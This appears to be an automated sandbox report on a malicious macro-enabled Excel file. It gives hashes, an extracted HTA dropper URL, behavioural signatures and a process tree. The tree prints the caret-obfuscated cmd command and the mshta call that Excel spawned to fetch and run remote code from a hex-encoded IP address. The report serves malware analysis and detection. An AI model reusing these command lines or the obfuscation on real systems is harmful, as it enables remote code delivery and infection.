Analysis

  • max time kernel
    165s
  • max time network
    161s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 03:06

General

  • Target

    92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm

  • Size

    115KB

  • MD5

    12f7a6aa0a09e355bd70c8291ae682e2

  • SHA1

    ea7943806f839e871bb5c957d64850ca66118577

  • SHA256

    92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a

  • SHA512

    df6ee800f9bf4b2e9a60b8a371031410416992b4b1806900fdfc4d399e5c5cdf5efc53d62ce3f8549bdbe3e88e20f4c4cf6662d8b826d4c0cb082a53d0afb2a4

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:60
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4616
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3836
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:3672

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/60-118-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

      Filesize

      64KB

    • memory/60-119-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

      Filesize

      64KB

    • memory/60-120-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

      Filesize

      64KB

    • memory/60-121-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

      Filesize

      64KB

    • memory/60-124-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

      Filesize

      64KB

    • memory/60-131-0x00007FFE6D890000-0x00007FFE6D8A0000-memory.dmp

      Filesize

      64KB

    • memory/60-132-0x00007FFE6D890000-0x00007FFE6D8A0000-memory.dmp

      Filesize

      64KB